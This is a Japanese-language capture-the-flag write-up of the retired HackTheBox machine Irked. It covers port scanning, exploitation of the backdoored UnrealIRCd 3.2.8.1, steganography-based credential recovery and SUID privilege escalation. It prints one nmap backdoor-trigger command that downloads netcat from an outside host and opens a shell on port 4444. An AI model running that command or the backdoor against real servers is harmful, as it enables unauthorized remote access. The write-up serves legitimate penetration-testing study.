All Articles

【Easy/Linux】Irked Writeup(HackTheBox)

「Hack The Box」という、ペネトレーションテストの学習プラットフォームを利用してセキュリティについて学んでいます。 「Hack The Box」のランクは、本記事執筆時点でProHackerです。

Hack The Box

今回は、HackTheBoxのリタイアマシン「Irked」のWriteUpです。

本記事について

本記事の内容は社会秩序に反する行為を推奨することを目的としたものではございません。

自身の所有する環境、もしくは許可された環境以外への攻撃の試行は、「不正アクセス行為の禁止等に関する法律(不正アクセス禁止法)」に違反する可能性があること、予めご留意ください。

またすべての発言は所属団体ではなく個人に帰属します。

もくじ

探索

とりあえずいつも通りスキャンをかけていきます。

$ sudo sed -i 's/^[0-9].*$RHOST/10.10.10.117 $RHOST/g' /etc/hosts
$ nmap -sV -sC -Pn -T4 $RHOST| tee nmap1.txt
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
| ssh-hostkey: 
|   1024 6a:5d:f5:bd:cf:83:78:b6:75:31:9b:dc:79:c5:fd:ad (DSA)
|   2048 75:2e:66:bf:b9:3c:cc:f7:7e:84:8a:8b:f0:81:02:33 (RSA)
|   256 c8:a3:a2:5e:34:9a:c4:9b:90:53:f7:50:bf:ea:25:3b (ECDSA)
|_  256 8d:1b:43:c7:d0:1a:4c:05:cf:82:ed:c1:01:63:a2:0c (ED25519)
80/tcp  open  http    Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Site doesn't have a title (text/html).
111/tcp open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          32926/tcp6  status
|   100024  1          34772/udp6  status
|   100024  1          36611/tcp   status
|_  100024  1          55055/udp   status
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

111番ポートが開いてるのは割と珍しいですね。

111番ポートはrpcbindのサービスが使用しているようです。

nmapの結果でもrpcinfoを叩いてくれているので、どのRPCプログラム番号が開いているかも確認できました。

ここでrpcinfoコマンドを叩いてみたところ、nampよりもう少し詳細な情報が取れました。

nfsは動いていなさそうです。

$ rpcinfo -p $RHOST
   program vers proto   port  service
    100000    4   tcp    111  portmapper
    100000    3   tcp    111  portmapper
    100000    2   tcp    111  portmapper
    100000    4   udp    111  portmapper
    100000    3   udp    111  portmapper
    100000    2   udp    111  portmapper
    100024    1   udp  46043  status
    100024    1   tcp  39977  status

ここで少し行き詰まりましたが、80番ポートに接続するとIRC is almost working!という文言が出てきました。

ググってみたところ、IRCは通常7000番前後のポートで稼働するようです。

image-20220805223447532

というわけでAll portに対してスキャンを実施します。

$ nmap -p- $RHOST -Pn -sC -sV -A  | tee nmap_max.txt
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
| ssh-hostkey: 
|   1024 6a:5d:f5:bd:cf:83:78:b6:75:31:9b:dc:79:c5:fd:ad (DSA)
|   2048 75:2e:66:bf:b9:3c:cc:f7:7e:84:8a:8b:f0:81:02:33 (RSA)
|   256 c8:a3:a2:5e:34:9a:c4:9b:90:53:f7:50:bf:ea:25:3b (ECDSA)
|_  256 8d:1b:43:c7:d0:1a:4c:05:cf:82:ed:c1:01:63:a2:0c (ED25519)
80/tcp    open  http    Apache httpd 2.4.10 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.10 (Debian)
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          39977/tcp   status
|   100024  1          46043/udp   status
|   100024  1          47929/tcp6  status
|_  100024  1          51699/udp6  status
6697/tcp  open  irc     UnrealIRCd
8067/tcp  open  irc     UnrealIRCd
39977/tcp open  status  1 (RPC #100024)
65534/tcp open  irc     UnrealIRCd

6697、8067、65534あたりでIRCのポートが空いているようです。

ひとまず列挙を試してみます。

参考:irc-unrealircd-backdoor NSE script — Nmap Scripting Engine documentation

$ nmap -d -p6697 --script=irc-unrealircd-backdoor.nse --script-args=irc-unrealircd-backdoor.command='wget http://www.javaop.com/~ron/tmp/nc && chmod +x ./nc && ./nc -l -p 4444 -e /bin/sh' $RHOST
PORT     STATE SERVICE REASON
6697/tcp open  ircs-u  syn-ack
|_irc-unrealircd-backdoor: Looks like trojaned version of unrealircd. See http://seclists.org/fulldisclosure/2010/Jun/277
Final times for host: srtt: 238054 rttvar: 178574  to: 952350

非常に興味深いことに、UnrealIRCd 3.2.8.1のバージョンはバックドアが公式に埋め込まれたバージョンに該当するようです。

参考:Full Disclosure: Fw: [irc-security] UnrealIRCd 3.2.8.1 backdoored on official ftp and site

というわけで、以下のエクスプロイトを叩いたらリバースシェルが取得できました。

参考:UnrealIRCd-3.2.8.1-Backdoor/exploit.py at master · Ranger11Danger/UnrealIRCd-3.2.8.1-Backdoor · GitHub

image-20220805231425537

内部探索

ここでフラグを探索してみたところ、ユーザ名djmardovの配下に存在していることがわかりました。

現在のユーザircdではこのファイルは開けないので、権限昇格を目指していきます。

$ find / -name user.txt 2>/dev/null
/home/djmardov/Documents/user.txt

とりあえず探索のためにhistoryを叩いてみたところ、/home/djmardov/Documents内の.backupを操作していたことが確認できました。

そこで情報を出力してみたところ、クレデンシャル情報らしき情報が取得できました。

image-20220806000018740

これの使い道がさっぱりわからずしばらく時間を溶かしましたが、「steg」と書いてあったことからブラウザで表示されていた画像のステガノを試しました。

steghideを使ったところパスフレーズを要求されたのでこちらのクレデンシャル情報を使ったところ、ユーザdjmardovにSSHログイン可能なパスワードが取得できました。

image-20220806083220617

これでUserは獲得できました。

権限昇格

ひとまずlipeassをかけていきます。

$ scp /home/kali/Hacking/Tools/linpeas.sh djmardov@$RHOST:/home/djmardov

$ ./linpeas.sh -a | tee linpeas.txt

出力結果を見てみると、ローカルアドレスでSMTPのプロセスが動いていることがわかりました。

25/tcp  open  smtp    Exim smtpd
| smtp-commands: irked Hello localhost [127.0.0.1], SIZE 52428800, 8BITMIME, PIPELINING, HELP, 
|_ Commands supported: AUTH HELO EHLO MAIL RCPT DATA NOOP QUIT RSET HELP 

とりあえずバナーグラビングしてみると、SMTP Exim 4.84_2を使っていることがわかります。

また、exim4のプロセスはroot権限で動作していました。

ここで一通りのエクスプロイトを試したのですが、残念ながらうまく動作しませんでした。

仕方がないのでもう一度linpeasに立ち戻ると、/usr/bin/viewuserというバイナリがあり、ここから任意のシェルスクリプトをroot権限で実行可能なことがわかりました。

════════════════════════════════════╣ Interesting Files ╠════════════════════════════════════
╔══════════╣ SUID - Check easy privesc, exploits and write perms
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid
-rwsr-xr-x 1 root root 7.2K May 16  2018 /usr/bin/viewuser (Unknown SUID binary)

そこで、このバイナリを利用してシェルを呼び出したところ、rootの権限が取得できました。

image-20220806113215646